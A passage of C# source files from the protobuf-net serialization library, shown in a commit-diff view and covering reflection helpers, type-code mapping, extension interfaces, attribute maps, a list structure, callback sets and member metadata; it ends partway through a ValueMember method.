private static readonly Type[] knownTypes = new Type[] {
typeof(bool), typeof(char), typeof(sbyte), typeof(byte),
typeof(short), typeof(ushort), typeof(int), typeof(uint),
typeof(long), typeof(ulong), typeof(float), typeof(double),
typeof(decimal), typeof(string),
typeof(DateTime), typeof(TimeSpan), typeof(Guid), typeof(Uri),
typeof(byte[]), typeof(System.Type)};
private static readonly ProtoTypeCode[] knownCodes = new ProtoTypeCode[] {
ProtoTypeCode.Boolean, ProtoTypeCode.Char, ProtoTypeCode.SByte, ProtoTypeCode.Byte,
ProtoTypeCode.Int16, ProtoTypeCode.UInt16, ProtoTypeCode.Int32, ProtoTypeCode.UInt32,
ProtoTypeCode.Int64, ProtoTypeCode.UInt64, ProtoTypeCode.Single, ProtoTypeCode.Double,
ProtoTypeCode.Decimal, ProtoTypeCode.String,
ProtoTypeCode.DateTime, ProtoTypeCode.TimeSpan, ProtoTypeCode.Guid, ProtoTypeCode.Uri,
ProtoTypeCode.ByteArray, ProtoTypeCode.Type
};
#endif
#if FEAT_IKVM
public static ProtoTypeCode GetTypeCode(IKVM.Reflection.Type type)
{
TypeCode code = IKVM.Reflection.Type.GetTypeCode(type);
switch (code)
{
case TypeCode.Empty:
case TypeCode.Boolean:
case TypeCode.Char:
case TypeCode.SByte:
case TypeCode.Byte:
case TypeCode.Int16:
case TypeCode.UInt16:
case TypeCode.Int32:
case TypeCode.UInt32:
case TypeCode.Int64:
case TypeCode.UInt64:
case TypeCode.Single:
case TypeCode.Double:
case TypeCode.Decimal:
case TypeCode.DateTime:
case TypeCode.String:
return (ProtoTypeCode)code;
}
switch(type.FullName)
{
case "System.TimeSpan": return ProtoTypeCode.TimeSpan;
case "System.Guid": return ProtoTypeCode.Guid;
case "System.Uri": return ProtoTypeCode.Uri;
case "System.Byte[]": return ProtoTypeCode.ByteArray;
case "System.Type": return ProtoTypeCode.Type;
}
return ProtoTypeCode.Unknown;
}
#endif
public static ProtoTypeCode GetTypeCode(System.Type type)
{
#if WINRT
int idx = Array.IndexOf<Type>(knownTypes, type);
if (idx >= 0) return knownCodes[idx];
return type == null ? ProtoTypeCode.Empty : ProtoTypeCode.Unknown;
#else
TypeCode code = System.Type.GetTypeCode(type);
switch (code)
{
case TypeCode.Empty:
case TypeCode.Boolean:
case TypeCode.Char:
case TypeCode.SByte:
case TypeCode.Byte:
case TypeCode.Int16:
case TypeCode.UInt16:
case TypeCode.Int32:
case TypeCode.UInt32:
case TypeCode.Int64:
case TypeCode.UInt64:
case TypeCode.Single:
case TypeCode.Double:
case TypeCode.Decimal:
case TypeCode.DateTime:
case TypeCode.String:
return (ProtoTypeCode)code;
}
if (type == typeof(TimeSpan)) return ProtoTypeCode.TimeSpan;
if (type == typeof(Guid)) return ProtoTypeCode.Guid;
if (type == typeof(Uri)) return ProtoTypeCode.Uri;
if (type == typeof(byte[])) return ProtoTypeCode.ByteArray;
if (type == typeof(System.Type)) return ProtoTypeCode.Type;
return ProtoTypeCode.Unknown;
#endif
}
#if FEAT_IKVM
internal static IKVM.Reflection.Type GetUnderlyingType(IKVM.Reflection.Type type)
{
if (type.IsValueType && type.IsGenericType && type.GetGenericTypeDefinition().FullName == "System.Nullable`1")
{
return type.GetGenericArguments()[0];
}
return null;
}
#endif
internal static System.Type GetUnderlyingType(System.Type type)
{
#if NO_GENERICS
return null; // never a Nullable<T>, so always returns null
#else
return Nullable.GetUnderlyingType(type);
#endif
}
internal static bool IsValueType(Type type)
{
#if WINRT
return type.GetTypeInfo().IsValueType;
#else
return type.IsValueType;
#endif
}
internal static bool IsEnum(Type type)
{
#if WINRT
return type.GetTypeInfo().IsEnum;
#else
return type.IsEnum;
#endif
}
internal static MethodInfo GetGetMethod(PropertyInfo property, bool nonPublic, bool allowInternal)
{
if (property == null) return null;
#if WINRT
MethodInfo method = property.GetMethod;
if (!nonPublic && method != null && !method.IsPublic) method = null;
return method;
#else
MethodInfo method = property.GetGetMethod(nonPublic);
if (method == null && !nonPublic && allowInternal)
{ // could be "internal" or "protected internal"; look for a non-public, then back-check
method = property.GetGetMethod(true);
if (method == null && !(method.IsAssembly || method.IsFamilyOrAssembly))
{
method = null;
}
}
return method;
#endif
}
internal static MethodInfo GetSetMethod(PropertyInfo property, bool nonPublic, bool allowInternal)
{
if (property == null) return null;
#if WINRT
MethodInfo method = property.SetMethod;
if (!nonPublic && method != null && !method.IsPublic) method = null;
return method;
#else
MethodInfo method = property.GetSetMethod(nonPublic);
if (method == null && !nonPublic && allowInternal)
{ // could be "internal" or "protected internal"; look for a non-public, then back-check
method = property.GetGetMethod(true);
if (method == null && !(method.IsAssembly || method.IsFamilyOrAssembly))
{
method = null;
}
}
return method;
#endif
}
#if FEAT_IKVM
internal static bool IsMatch(IKVM.Reflection.ParameterInfo[] parameters, IKVM.Reflection.Type[] parameterTypes)
{
if (parameterTypes == null) parameterTypes = Helpers.EmptyTypes;
if (parameters.Length != parameterTypes.Length) return false;
for (int i = 0; i < parameters.Length; i++)
{
if (parameters[i].ParameterType != parameterTypes[i]) return false;
}
return true;
}
#endif
#if WINRT
private static bool IsMatch(ParameterInfo[] parameters, Type[] parameterTypes)
{
if (parameterTypes == null) parameterTypes = EmptyTypes;
if (parameters.Length != parameterTypes.Length) return false;
for (int i = 0; i < parameters.Length; i++)
{
if (parameters[i].ParameterType != parameterTypes[i]) return false;
}
return true;
}
internal static ConstructorInfo GetConstructor(TypeInfo type, Type[] parameterTypes, bool nonPublic)
{
foreach (ConstructorInfo ctor in type.DeclaredConstructors)
{
if (!nonPublic && !ctor.IsPublic) continue;
if (IsMatch(ctor.GetParameters(), parameterTypes)) return ctor;
}
return null;
}
internal static ConstructorInfo[] GetConstructors(TypeInfo typeInfo, bool nonPublic)
{
if (nonPublic) return System.Linq.Enumerable.ToArray(typeInfo.DeclaredConstructors);
return System.Linq.Enumerable.ToArray(
System.Linq.Enumerable.Where(typeInfo.DeclaredConstructors, x => x.IsPublic));
}
internal static PropertyInfo GetProperty(TypeInfo type, string name, bool nonPublic)
{
return type.GetDeclaredProperty(name);
}
#else
internal static ConstructorInfo GetConstructor(Type type, Type[] parameterTypes, bool nonPublic)
{
#if PORTABLE
// pretty sure this will only ever return public, but...
ConstructorInfo ctor = type.GetConstructor(parameterTypes);
return (ctor != null && (nonPublic || ctor.IsPublic)) ? ctor : null;
#else
return type.GetConstructor(
nonPublic ? BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic
: BindingFlags.Instance | BindingFlags.Public,
null, parameterTypes, null);
#endif
}
internal static ConstructorInfo[] GetConstructors(Type type, bool nonPublic)
{
return type.GetConstructors(
nonPublic ? BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic
: BindingFlags.Instance | BindingFlags.Public);
}
internal static PropertyInfo GetProperty(Type type, string name, bool nonPublic)
{
return type.GetProperty(name,
nonPublic ? BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic
: BindingFlags.Instance | BindingFlags.Public);
}
#endif
internal static object ParseEnum(Type type, string value)
{
#if FEAT_IKVM
FieldInfo[] fields = type.GetFields();
foreach (FieldInfo field in fields)
{
if (string.Equals(field.Name, value, StringComparison.OrdinalIgnoreCase)) return field.GetRawConstantValue();
}
throw new ArgumentException("Enum value could not be parsed: " + value + ", " + type.FullName);
#else
return Enum.Parse(type, value, true);
#endif
}
internal static MemberInfo[] GetInstanceFieldsAndProperties(Type type, bool publicOnly)
{
#if WINRT
System.Collections.Generic.List<MemberInfo> members = new System.Collections.Generic.List<MemberInfo>();
foreach(FieldInfo field in type.GetRuntimeFields())
{
if(field.IsStatic) continue;
if(field.IsPublic || !publicOnly) members.Add(field);
}
foreach(PropertyInfo prop in type.GetRuntimeProperties())
{
MethodInfo getter = Helpers.GetGetMethod(prop, true, true);
if(getter == null || getter.IsStatic) continue;
if(getter.IsPublic || !publicOnly) members.Add(prop);
}
return members.ToArray();
#else
BindingFlags flags = publicOnly ? BindingFlags.Public | BindingFlags.Instance : BindingFlags.Public | BindingFlags.Instance | BindingFlags.NonPublic;
PropertyInfo[] props = type.GetProperties(flags);
FieldInfo[] fields = type.GetFields(flags);
MemberInfo[] members = new MemberInfo[fields.Length + props.Length];
props.CopyTo(members, 0);
fields.CopyTo(members, props.Length);
return members;
#endif
}
internal static Type GetMemberType(MemberInfo member)
{
#if WINRT || PORTABLE
PropertyInfo prop = member as PropertyInfo;
if (prop != null) return prop.PropertyType;
FieldInfo fld = member as FieldInfo;
return fld == null ? null : fld.FieldType;
#else
switch(member.MemberType)
{
case MemberTypes.Field: return ((FieldInfo) member).FieldType;
case MemberTypes.Property: return ((PropertyInfo) member).PropertyType;
default: return null;
}
#endif
}
internal static bool IsAssignableFrom(Type target, Type type)
{
#if WINRT
return target.GetTypeInfo().IsAssignableFrom(type.GetTypeInfo());
#else
return target.IsAssignableFrom(type);
#endif
}
}
/// <summary>
/// Intended to be a direct map to regular TypeCode, but:
/// - with missing types
/// - existing on WinRT
/// </summary>
internal enum ProtoTypeCode
{
Empty = 0,
Unknown = 1, // maps to TypeCode.Object
Boolean = 3,
Char = 4,
SByte = 5,
Byte = 6,
Int16 = 7,
UInt16 = 8,
Int32 = 9,
UInt32 = 10,
Int64 = 11,
UInt64 = 12,
Single = 13,
Double = 14,
Decimal = 15,
DateTime = 16,
String = 18,
// additions
TimeSpan = 100,
ByteArray = 101,
Guid = 102,
Uri = 103,
Type = 104
}
}

View File

@ -0,0 +1,27 @@

namespace ProtoBuf
{
/// <summary>
/// Indicates that the implementing type has support for protocol-buffer
/// <see cref="IExtension">extensions</see>.
/// </summary>
/// <remarks>Can be implemented by deriving from Extensible.</remarks>
public interface IExtensible
{
/// <summary>
/// Retrieves the <see cref="IExtension">extension</see> object for the current
/// instance, optionally creating it if it does not already exist.
/// </summary>
/// <param name="createIfMissing">Should a new extension object be
/// created if it does not already exist?</param>
/// <returns>The extension object if it exists (or was created), or null
/// if the extension object does not exist or is not available.</returns>
/// <remarks>The <c>createIfMissing</c> argument is false during serialization,
/// and true during deserialization upon encountering unexpected fields.</remarks>
IExtension GetExtensionObject(bool createIfMissing);
}
}

View File

@ -0,0 +1,47 @@

using System.IO;
namespace ProtoBuf
{
/// <summary>
/// Provides addition capability for supporting unexpected fields during
/// protocol-buffer serialization/deserialization. This allows for loss-less
/// round-trip/merge, even when the data is not fully understood.
/// </summary>
public interface IExtension
{
/// <summary>
/// Requests a stream into which any unexpected fields can be persisted.
/// </summary>
/// <returns>A new stream suitable for storing data.</returns>
Stream BeginAppend();
/// <summary>
/// Indicates that all unexpected fields have now been stored. The
/// implementing class is responsible for closing the stream. If
/// "commit" is not true the data may be discarded.
/// </summary>
/// <param name="stream">The stream originally obtained by BeginAppend.</param>
/// <param name="commit">True if the append operation completed successfully.</param>
void EndAppend(Stream stream, bool commit);
/// <summary>
/// Requests a stream of the unexpected fields previously stored.
/// </summary>
/// <returns>A prepared stream of the unexpected fields.</returns>
Stream BeginQuery();
/// <summary>
/// Indicates that all unexpected fields have now been read. The
/// implementing class is responsible for closing the stream.
/// </summary>
/// <param name="stream">The stream originally obtained by BeginQuery.</param>
void EndQuery(Stream stream);
/// <summary>
/// Requests the length of the raw binary stream; this is used
/// when serializing sub-entities to indicate the expected size.
/// </summary>
/// <returns>The length of the binary stream representing unexpected data.</returns>
int GetLength();
}
}

View File

@ -0,0 +1,31 @@
using System;
namespace ProtoBuf
{
/// <summary>
/// Specifies the method used to infer field tags for members of the type
/// under consideration. Tags are deduced using the invariant alphabetic
/// sequence of the members' names; this makes implicit field tags very brittle,
/// and susceptible to changes such as field names (normally an isolated
/// change).
/// </summary>
public enum ImplicitFields
{
/// <summary>
/// No members are serialized implicitly; all members require a suitable
/// attribute such as [ProtoMember]. This is the recmomended mode for
/// most scenarios.
/// </summary>
None = 0,
/// <summary>
/// Public properties and fields are eligible for implicit serialization;
/// this treats the public API as a contract. Ordering beings from ImplicitFirstTag.
/// </summary>
AllPublic= 1,
/// <summary>
/// Public and non-public fields are eligible for implicit serialization;
/// this acts as a state/implementation serializer. Ordering beings from ImplicitFirstTag.
/// </summary>
AllFields = 2
}
}

View File

@ -0,0 +1,189 @@
#if !NO_RUNTIME
using System;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Meta
{
internal abstract class AttributeMap
{
[Obsolete("Please use AttributeType instead")]
new public Type GetType() { return AttributeType; }
public abstract bool TryGet(string key, bool publicOnly, out object value);
public bool TryGet(string key, out object value)
{
return TryGet(key, true, out value);
}
public abstract Type AttributeType { get; }
public static AttributeMap[] Create(TypeModel model, Type type, bool inherit)
{
#if FEAT_IKVM
Type attribType = model.MapType(typeof(System.Attribute));
System.Collections.Generic.IList<CustomAttributeData> all = type.__GetCustomAttributes(attribType, inherit);
AttributeMap[] result = new AttributeMap[all.Count];
int index = 0;
foreach (CustomAttributeData attrib in all)
{
result[index++] = new AttributeDataMap(attrib);
}
return result;
#else
#if WINRT
Attribute[] all = System.Linq.Enumerable.ToArray(type.GetTypeInfo().GetCustomAttributes(inherit));
#else
object[] all = type.GetCustomAttributes(inherit);
#endif
AttributeMap[] result = new AttributeMap[all.Length];
for(int i = 0 ; i < all.Length ; i++)
{
result[i] = new ReflectionAttributeMap((Attribute)all[i]);
}
return result;
#endif
}
public static AttributeMap[] Create(TypeModel model, MemberInfo member, bool inherit)
{
#if FEAT_IKVM
System.Collections.Generic.IList<CustomAttributeData> all = member.__GetCustomAttributes(model.MapType(typeof(Attribute)), inherit);
AttributeMap[] result = new AttributeMap[all.Count];
int index = 0;
foreach (CustomAttributeData attrib in all)
{
result[index++] = new AttributeDataMap(attrib);
}
return result;
#else
#if WINRT
Attribute[] all = System.Linq.Enumerable.ToArray(member.GetCustomAttributes(inherit));
#else
object[] all = member.GetCustomAttributes(inherit);
#endif
AttributeMap[] result = new AttributeMap[all.Length];
for(int i = 0 ; i < all.Length ; i++)
{
result[i] = new ReflectionAttributeMap((Attribute)all[i]);
}
return result;
#endif
}
public static AttributeMap[] Create(TypeModel model, Assembly assembly)
{
#if FEAT_IKVM
const bool inherit = false;
System.Collections.Generic.IList<CustomAttributeData> all = assembly.__GetCustomAttributes(model.MapType(typeof(Attribute)), inherit);
AttributeMap[] result = new AttributeMap[all.Count];
int index = 0;
foreach (CustomAttributeData attrib in all)
{
result[index++] = new AttributeDataMap(attrib);
}
return result;
#else
#if WINRT
Attribute[] all = System.Linq.Enumerable.ToArray(assembly.GetCustomAttributes());
#else
const bool inherit = false;
object[] all = assembly.GetCustomAttributes(inherit);
#endif
AttributeMap[] result = new AttributeMap[all.Length];
for(int i = 0 ; i < all.Length ; i++)
{
result[i] = new ReflectionAttributeMap((Attribute)all[i]);
}
return result;
#endif
}
#if FEAT_IKVM
private class AttributeDataMap : AttributeMap
{
public override Type AttributeType
{
get { return attribute.Constructor.DeclaringType; }
}
private readonly CustomAttributeData attribute;
public AttributeDataMap(CustomAttributeData attribute)
{
this.attribute = attribute;
}
public override bool TryGet(string key, bool publicOnly, out object value)
{
foreach (CustomAttributeNamedArgument arg in attribute.NamedArguments)
{
if (string.Equals(arg.MemberInfo.Name, key, StringComparison.OrdinalIgnoreCase))
{
value = arg.TypedValue.Value;
return true;
}
}
int index = 0;
ParameterInfo[] parameters = attribute.Constructor.GetParameters();
foreach (CustomAttributeTypedArgument arg in attribute.ConstructorArguments)
{
if (string.Equals(parameters[index++].Name, key, StringComparison.OrdinalIgnoreCase))
{
value = arg.Value;
return true;
}
}
value = null;
return false;
}
}
#else
public abstract object Target { get; }
private class ReflectionAttributeMap : AttributeMap
{
public override object Target
{
get { return attribute; }
}
public override Type AttributeType
{
get { return attribute.GetType(); }
}
public override bool TryGet(string key, bool publicOnly, out object value)
{
MemberInfo[] members = Helpers.GetInstanceFieldsAndProperties(attribute.GetType(), publicOnly);
foreach (MemberInfo member in members)
{
#if FX11
if (member.Name.ToUpper() == key.ToUpper())
#else
if (string.Equals(member.Name, key, StringComparison.OrdinalIgnoreCase))
#endif
{
PropertyInfo prop = member as PropertyInfo;
if (prop != null) {
value = prop.GetValue(attribute, null);
return true;
}
FieldInfo field = member as FieldInfo;
if (field != null) {
value = field.GetValue(attribute);
return true;
}
throw new NotSupportedException(member.GetType().Name);
}
}
value = null;
return false;
}
private readonly Attribute attribute;
public ReflectionAttributeMap(Attribute attribute)
{
this.attribute = attribute;
}
}
#endif
}
}
#endif

View File

@ -0,0 +1,223 @@
using System;
using System.Collections;
namespace ProtoBuf.Meta
{
internal sealed class MutableList : BasicList
{
/* Like BasicList, but allows existing values to be changed
*/
public new object this[int index] {
get { return head[index]; }
set { head[index] = value; }
}
public void RemoveLast()
{
head.RemoveLastWithMutate();
}
}
internal class BasicList : IEnumerable
{
/* Requirements:
* - Fast access by index
* - Immutable in the tail, so a node can be read (iterated) without locking
* - Lock-free tail handling must match the memory mode; struct for Node
* wouldn't work as "read" would not be atomic
* - Only operation required is append, but this shouldn't go out of its
* way to be inefficient
* - Assume that the caller is handling thread-safety (to co-ordinate with
* other code); no attempt to be thread-safe
* - Assume that the data is private; internal data structure is allowed to
* be mutable (i.e. array is fine as long as we don't screw it up)
*/
private static readonly Node nil = new Node(null, 0);
public void CopyTo(Array array, int offset)
{
head.CopyTo(array, offset);
}
protected Node head = nil;
public int Add(object value)
{
return (head = head.Append(value)).Length - 1;
}
public object this[int index] { get { return head[index]; } }
public object TryGet(int index)
{
return head.TryGet(index);
}
public void Trim() { head = head.Trim(); }
public int Count { get { return head.Length; } }
IEnumerator IEnumerable.GetEnumerator() { return new NodeEnumerator(head); }
public NodeEnumerator GetEnumerator() { return new NodeEnumerator(head); }
public struct NodeEnumerator : IEnumerator
{
private int position;
private readonly Node node;
internal NodeEnumerator(Node node)
{
this.position = -1;
this.node = node;
}
void IEnumerator.Reset() { position = -1; }
public object Current { get { return node[position]; } }
public bool MoveNext()
{
int len = node.Length;
return (position <= len) && (++position < len);
}
}
internal sealed class Node
{
public object this[int index]
{
get {
if (index >= 0 && index < length)
{
return data[index];
}
throw new ArgumentOutOfRangeException("index");
}
set
{
if (index >= 0 && index < length)
{
data[index] = value;
}
else
{
throw new ArgumentOutOfRangeException("index");
}
}
}
public object TryGet(int index)
{
return (index >= 0 && index < length) ? data[index] : null;
}
private readonly object[] data;
private int length;
public int Length { get { return length; } }
internal Node(object[] data, int length)
{
Helpers.DebugAssert((data == null && length == 0) ||
(data != null && length > 0 && length <= data.Length));
this.data = data;
this.length = length;
}
public void RemoveLastWithMutate()
{
if (length == 0) throw new InvalidOperationException();
length -= 1;
}
public Node Append(object value)
{
object[] newData;
int newLength = length + 1;
if (data == null)
{
newData = new object[10];
}
else if (length == data.Length)
{
newData = new object[data.Length * 2];
Array.Copy(data, newData, length);
} else
{
newData = data;
}
newData[length] = value;
return new Node(newData, newLength);
}
public Node Trim()
{
if (length == 0 || length == data.Length) return this;
object[] newData = new object[length];
Array.Copy(data, newData, length);
return new Node(newData, length);
}
internal int IndexOfReference(object instance)
{
for (int i = 0; i < length; i++)
{
if ((object)instance == (object)data[i]) return i;
} // ^^^ (object) above should be preserved, even if this was typed; needs
// to be a reference check
return -1;
}
internal int IndexOf(IPredicate predicate)
{
for (int i = 0; i < length; i++)
{
if (predicate.IsMatch(data[i])) return i;
}
return -1;
}
internal void CopyTo(Array array, int offset)
{
if (length > 0)
{
Array.Copy(data, 0, array, offset, length);
}
}
}
internal int IndexOf(IPredicate predicate)
{
return head.IndexOf(predicate);
}
internal int IndexOfReference(object instance)
{
return head.IndexOfReference(instance);
}
internal interface IPredicate
{
bool IsMatch(object obj);
}
internal bool Contains(object value)
{
foreach (object obj in this)
{
if (object.Equals(obj, value)) return true;
}
return false;
}
internal class Group
{
public readonly int First;
public readonly BasicList Items;
public Group(int first)
{
this.First = first;
this.Items = new BasicList();
}
}
internal static BasicList GetContiguousGroups(int[] keys, object[] values)
{
if (keys == null) throw new ArgumentNullException("keys");
if (values == null) throw new ArgumentNullException("values");
if (values.Length < keys.Length) throw new ArgumentException("Not all keys are covered by values", "values");
BasicList outer = new BasicList();
Group group = null;
for (int i = 0; i < keys.Length; i++)
{
if (i == 0 || keys[i] != keys[i - 1]) { group = null; }
if (group == null)
{
group = new Group(keys[i]);
outer.Add(group);
}
group.Items.Add(values[i]);
}
return outer;
}
}
}

View File

@ -0,0 +1,107 @@
#if !NO_RUNTIME
using System;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Meta
{
/// <summary>
/// Represents the set of serialization callbacks to be used when serializing/deserializing a type.
/// </summary>
public class CallbackSet
{
private readonly MetaType metaType;
internal CallbackSet(MetaType metaType)
{
if (metaType == null) throw new ArgumentNullException("metaType");
this.metaType = metaType;
}
internal MethodInfo this[TypeModel.CallbackType callbackType]
{
get
{
switch (callbackType)
{
case TypeModel.CallbackType.BeforeSerialize: return beforeSerialize;
case TypeModel.CallbackType.AfterSerialize: return afterSerialize;
case TypeModel.CallbackType.BeforeDeserialize: return beforeDeserialize;
case TypeModel.CallbackType.AfterDeserialize: return afterDeserialize;
default: throw new ArgumentException();
}
}
}
internal static bool CheckCallbackParameters(TypeModel model, MethodInfo method)
{
ParameterInfo[] args = method.GetParameters();
for (int i = 0; i < args.Length; i++)
{
Type paramType = args[i].ParameterType;
if(paramType == model.MapType(typeof(SerializationContext))) {}
else if(paramType == model.MapType(typeof(System.Type))) {}
#if PLAT_BINARYFORMATTER
else if(paramType == model.MapType(typeof(System.Runtime.Serialization.StreamingContext))) {}
#endif
else return false;
}
return true;
}
private MethodInfo SanityCheckCallback(TypeModel model, MethodInfo callback)
{
metaType.ThrowIfFrozen();
if (callback == null) return callback; // fine
if (callback.IsStatic) throw new ArgumentException("Callbacks cannot be static", "callback");
if (callback.ReturnType != model.MapType(typeof(void))
|| !CheckCallbackParameters(model, callback))
{
throw CreateInvalidCallbackSignature(callback);
}
return callback;
}
internal static Exception CreateInvalidCallbackSignature(MethodInfo method)
{
return new NotSupportedException("Invalid callback signature in " + method.DeclaringType.FullName + "." + method.Name);
}
private MethodInfo beforeSerialize, afterSerialize, beforeDeserialize, afterDeserialize;
/// <summary>Called before serializing an instance</summary>
public MethodInfo BeforeSerialize
{
get { return beforeSerialize; }
set { beforeSerialize = SanityCheckCallback(metaType.Model, value); }
}
/// <summary>Called before deserializing an instance</summary>
public MethodInfo BeforeDeserialize
{
get { return beforeDeserialize; }
set { beforeDeserialize = SanityCheckCallback(metaType.Model, value); }
}
/// <summary>Called after serializing an instance</summary>
public MethodInfo AfterSerialize
{
get { return afterSerialize; }
set { afterSerialize = SanityCheckCallback(metaType.Model, value); }
}
/// <summary>Called after deserializing an instance</summary>
public MethodInfo AfterDeserialize
{
get { return afterDeserialize; }
set { afterDeserialize = SanityCheckCallback(metaType.Model, value); }
}
/// <summary>
/// True if any callback is set, else False
/// </summary>
public bool NonTrivial
{
get
{
return beforeSerialize != null || beforeDeserialize != null
|| afterSerialize != null || afterDeserialize != null;
}
}
}
}
#endif

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,82 @@
#if !NO_RUNTIME
using System;
using ProtoBuf.Serializers;
namespace ProtoBuf.Meta
{
/// <summary>
/// Represents an inherited type in a type hierarchy.
/// </summary>
public sealed class SubType
{
internal class Comparer : System.Collections.IComparer
#if !NO_GENERICS
, System.Collections.Generic.IComparer<SubType>
#endif
{
public static readonly Comparer Default = new Comparer();
public int Compare(object x, object y)
{
return Compare(x as SubType, y as SubType);
}
public int Compare(SubType x, SubType y)
{
if (ReferenceEquals(x, y)) return 0;
if (x == null) return -1;
if (y == null) return 1;
return x.FieldNumber.CompareTo(y.FieldNumber);
}
}
private readonly int fieldNumber;
/// <summary>
/// The field-number that is used to encapsulate the data (as a nested
/// message) for the derived dype.
/// </summary>
public int FieldNumber { get { return fieldNumber; } }
/// <summary>
/// The sub-type to be considered.
/// </summary>
public MetaType DerivedType { get { return derivedType; } }
private readonly MetaType derivedType;
/// <summary>
/// Creates a new SubType instance.
/// </summary>
/// <param name="fieldNumber">The field-number that is used to encapsulate the data (as a nested
/// message) for the derived dype.</param>
/// <param name="derivedType">The sub-type to be considered.</param>
/// <param name="format">Specific encoding style to use; in particular, Grouped can be used to avoid buffering, but is not the default.</param>
public SubType(int fieldNumber, MetaType derivedType, DataFormat format)
{
if (derivedType == null) throw new ArgumentNullException("derivedType");
if (fieldNumber <= 0) throw new ArgumentOutOfRangeException("fieldNumber");
this.fieldNumber = fieldNumber;
this.derivedType = derivedType;
this.dataFormat = format;
}
private readonly DataFormat dataFormat;
private IProtoSerializer serializer;
internal IProtoSerializer Serializer
{
get
{
if (serializer == null) serializer = BuildSerializer();
return serializer;
}
}
private IProtoSerializer BuildSerializer()
{
// note the caller here is MetaType.BuildSerializer, which already has the sync-lock
WireType wireType = WireType.String;
if(dataFormat == DataFormat.Group) wireType = WireType.StartGroup; // only one exception
IProtoSerializer ser = new SubItemSerializer(derivedType.Type, derivedType.GetKey(false, false), derivedType, false);
return new TagDecorator(fieldNumber, wireType, false, ser);
}
}
}
#endif

View File

@ -0,0 +1,62 @@
using System;
namespace ProtoBuf.Meta
{
/// <summary>
/// Event arguments needed to perform type-formatting functions; this could be resolving a Type to a string suitable for serialization, or could
/// be requesting a Type from a string. If no changes are made, a default implementation will be used (from the assembly-qualified names).
/// </summary>
public class TypeFormatEventArgs : EventArgs
{
private Type type;
private string formattedName;
private readonly bool typeFixed;
/// <summary>
/// The type involved in this map; if this is initially null, a Type is expected to be provided for the string in FormattedName.
/// </summary>
public Type Type
{
get { return type; }
set
{
if(type != value)
{
if (typeFixed) throw new InvalidOperationException("The type is fixed and cannot be changed");
type = value;
}
}
}
/// <summary>
/// The formatted-name involved in this map; if this is initially null, a formatted-name is expected from the type in Type.
/// </summary>
public string FormattedName
{
get { return formattedName; }
set
{
if (formattedName != value)
{
if (!typeFixed) throw new InvalidOperationException("The formatted-name is fixed and cannot be changed");
formattedName = value;
}
}
}
internal TypeFormatEventArgs(string formattedName)
{
if (Helpers.IsNullOrEmpty(formattedName)) throw new ArgumentNullException("formattedName");
this.formattedName = formattedName;
typeFixed = false;
}
internal TypeFormatEventArgs(System.Type type)
{
if (type == null) throw new ArgumentNullException("type");
this.type = type;
typeFixed = true;
}
}
/// <summary>
/// Delegate type used to perform type-formatting functions; the sender originates as the type-model.
/// </summary>
public delegate void TypeFormatEventHandler(object sender, TypeFormatEventArgs args);
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,632 @@
#if !NO_RUNTIME
using System;
using ProtoBuf.Serializers;
using System.Globalization;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Meta
{
/// <summary>
/// Represents a member (property/field) that is mapped to a protobuf field
/// </summary>
public class ValueMember
{
private readonly int fieldNumber;
/// <summary>
/// The number that identifies this member in a protobuf stream
/// </summary>
public int FieldNumber { get { return fieldNumber; } }
private readonly MemberInfo member;
/// <summary>
/// Gets the member (field/property) which this member relates to.
/// </summary>
public MemberInfo Member { get { return member; } }
private readonly Type parentType, itemType, defaultType, memberType;
private object defaultValue;
/// <summary>
/// Within a list / array / etc, the type of object for each item in the list (especially useful with ArrayList)
/// </summary>
public Type ItemType { get { return itemType; } }
/// <summary>
/// The underlying type of the member
/// </summary>
public Type MemberType { get { return memberType; } }
/// <summary>
/// For abstract types (IList etc), the type of concrete object to create (if required)
/// </summary>
public Type DefaultType { get { return defaultType; } }
/// <summary>
/// The type the defines the member
/// </summary>
public Type ParentType { get { return parentType; } }
/// <summary>
/// The default value of the item (members with this value will not be serialized)
/// </summary>
public object DefaultValue
{
get { return defaultValue; }
set {
ThrowIfFrozen();
defaultValue = value;
}
}
private readonly RuntimeTypeModel model;
/// <summary>
/// Creates a new ValueMember instance
/// </summary>
public ValueMember(RuntimeTypeModel model, Type parentType, int fieldNumber, MemberInfo member, Type memberType, Type itemType, Type defaultType, DataFormat dataFormat, object defaultValue)
: this(model, fieldNumber,memberType, itemType, defaultType, dataFormat)
{
if (member == null) throw new ArgumentNullException("member");
if (parentType == null) throw new ArgumentNullException("parentType");
if (fieldNumber < 1 && !Helpers.IsEnum(parentType)) throw new ArgumentOutOfRangeException("fieldNumber");
this.member = member;
this.parentType = parentType;
if (fieldNumber < 1 && !Helpers.IsEnum(parentType)) throw new ArgumentOutOfRangeException("fieldNumber");
//#if WINRT
if (defaultValue != null && model.MapType(defaultValue.GetType()) != memberType)
//#else
// if (defaultValue != null && !memberType.IsInstanceOfType(defaultValue))
//#endif
{
defaultValue = ParseDefaultValue(memberType, defaultValue);
}
this.defaultValue = defaultValue;
MetaType type = model.FindWithoutAdd(memberType);
if (type != null)
{
this.asReference = type.AsReferenceDefault;
}
else
{ // we need to scan the hard way; can't risk recursion by fully walking it
this.asReference = MetaType.GetAsReferenceDefault(model, memberType);
}
}
/// <summary>
/// Creates a new ValueMember instance
/// </summary>
internal ValueMember(RuntimeTypeModel model, int fieldNumber, Type memberType, Type itemType, Type defaultType, DataFormat dataFormat)
{
if (memberType == null) throw new ArgumentNullException("memberType");
if (model == null) throw new ArgumentNullException("model");
this.fieldNumber = fieldNumber;
this.memberType = memberType;
this.itemType = itemType;
this.defaultType = defaultType;
this.model = model;
this.dataFormat = dataFormat;
}
internal object GetRawEnumValue()
{
#if WINRT || PORTABLE || CF || FX11
object value = ((FieldInfo)member).GetValue(null);
switch(Helpers.GetTypeCode(Enum.GetUnderlyingType(((FieldInfo)member).FieldType)))
{
case ProtoTypeCode.SByte: return (sbyte)value;
